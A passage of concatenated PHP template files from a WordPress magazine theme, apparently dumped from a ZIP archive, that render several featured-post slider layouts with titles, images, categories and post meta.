                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                                    <div class="featured-slider-excerpt">
                                                        <p><?php $excerpt = get_the_excerpt();
															echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\iT       inc/featured_slider/style-38.phpnu [        <?php
/**
 * Template part for Slider Style 38
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
        <a class="penci-slider38-overlay" aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
           href="<?php the_permalink(); ?>"></a>
        <a class="penci-image-holder"
           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
           href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
							<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                <div class="featured-slider-excerpt"><p><?php $excerpt = get_the_excerpt();
										echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\iȮW
  W
     inc/featured_slider/style-30.phpnu [        <?php
/**
 * Template part for Slider Style 30
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>

        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\:K`       inc/featured_slider/style-15.phpnu [        <?php
/**
 * Template part for Slider Style 15
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-slider-thumb';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 3 == 2 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 2 || get_theme_mod( 'penci_featured_show_categories' ) ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\gh  h     inc/featured_slider/style-27.phpnu [        <?php
/**
 * Template part for Slider Style 27
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

$image_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 5 == 1 ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 5 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_msize : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\,      inc/featured_slider/style-9.phpnu [        <?php
/**
 * Template part for Slider Style 9
 */

$feat_query = penci_get_query_featured_slider();

if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-square';

	$image_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
						<?php do_action( 'penci_bookmark_post' ); ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$image_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_msize : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\f  f     inc/featured_slider/style-28.phpnu [        <?php
/**
 * Template part for Slider Style 28
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 7 == 1 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 7 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 7 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
							<?php if ( ( $i % 7 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
							<?php endif; ?>
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( ( $i % 7 == 0 || $i % 7 == 1 || $i % 7 == 3 || $i % 7 == 5 ) && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\Ok  k     inc/featured_slider/style-11.phpnu [        <?php
/**
 * Template part for Slider Style 11
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-magazine-slider';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 2 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
